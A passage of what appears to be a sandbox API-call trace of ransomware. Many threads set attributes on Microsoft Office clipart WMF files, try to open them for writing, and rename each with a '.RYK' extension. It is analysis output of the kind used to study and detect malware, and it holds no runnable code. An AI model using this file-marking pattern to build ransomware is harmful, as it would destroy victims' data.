	[0236.581] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2676
	os_tid = 0x2f50

	[0236.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF", dwFileAttributes=0x80) returned 0
	[0236.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.601] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.601] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2677
	os_tid = 0x2f54

	[0236.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF", dwFileAttributes=0x80) returned 0
	[0236.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.600] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.600] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2679
	os_tid = 0x2f60

	[0236.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF", dwFileAttributes=0x80) returned 0
	[0236.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.598] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2680
	os_tid = 0x2f64

	[0236.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF", dwFileAttributes=0x80) returned 0
	[0236.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.596] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2681
	os_tid = 0x2f68

	[0236.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF", dwFileAttributes=0x80) returned 0
	[0236.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.594] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2682
	os_tid = 0x2f6c

	[0236.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF", dwFileAttributes=0x80) returned 0
	[0236.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.592] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.593] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2683
	os_tid = 0x2f70

	[0236.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF", dwFileAttributes=0x80) returned 0
	[0236.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.772] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2684
	os_tid = 0x2f74

	[0236.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF", dwFileAttributes=0x80) returned 0
	[0236.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.589] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.589] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2685
	os_tid = 0x2f78

	[0236.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF", dwFileAttributes=0x80) returned 0
	[0236.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.031] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.039] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2686
	os_tid = 0x2f7c

	[0236.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF", dwFileAttributes=0x80) returned 0
	[0236.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.586] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.586] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2687
	os_tid = 0x2f80

	[0236.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF", dwFileAttributes=0x80) returned 0
	[0236.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.584] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2688
	os_tid = 0x2f84

	[0236.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF", dwFileAttributes=0x80) returned 0
	[0236.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.042] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.043] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2689
	os_tid = 0x2f88

	[0236.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF", dwFileAttributes=0x80) returned 0
	[0236.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.080] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2693
	os_tid = 0x2f98

	[0236.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF", dwFileAttributes=0x80) returned 0
	[0236.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.078] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.078] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2694
	os_tid = 0x2f9c

	[0236.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF", dwFileAttributes=0x80) returned 0
	[0236.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.499] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2695
	os_tid = 0x2fa0

	[0236.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF", dwFileAttributes=0x80) returned 0
	[0236.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.076] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2696
	os_tid = 0x2fa4

	[0236.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF", dwFileAttributes=0x80) returned 0
	[0236.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.074] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2697
	os_tid = 0x2fa8

	[0236.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF", dwFileAttributes=0x80) returned 0
	[0236.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.072] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2698
	os_tid = 0x2fac

	[0236.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF", dwFileAttributes=0x80) returned 0
	[0236.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.070] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2699
	os_tid = 0x2fb0

	[0236.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF", dwFileAttributes=0x80) returned 0
	[0236.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.068] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2700
	os_tid = 0x2fb4

	[0236.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF", dwFileAttributes=0x80) returned 0
	[0236.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.066] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2701
	os_tid = 0x2fb8

	[0236.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF", dwFileAttributes=0x80) returned 0
	[0236.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.064] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2702
	os_tid = 0x2fbc

	[0236.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF", dwFileAttributes=0x80) returned 0
	[0237.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.062] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2703
	os_tid = 0x2fc0

	[0236.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF", dwFileAttributes=0x80) returned 0
	[0237.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.060] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.060] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2704
	os_tid = 0x2fc4

	[0236.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF", dwFileAttributes=0x80) returned 0
	[0237.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.058] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2705
	os_tid = 0x2fc8

	[0236.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF", dwFileAttributes=0x80) returned 0
	[0237.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.055] CloseHandle (hObject=0xffffffffffffffff) returned 0
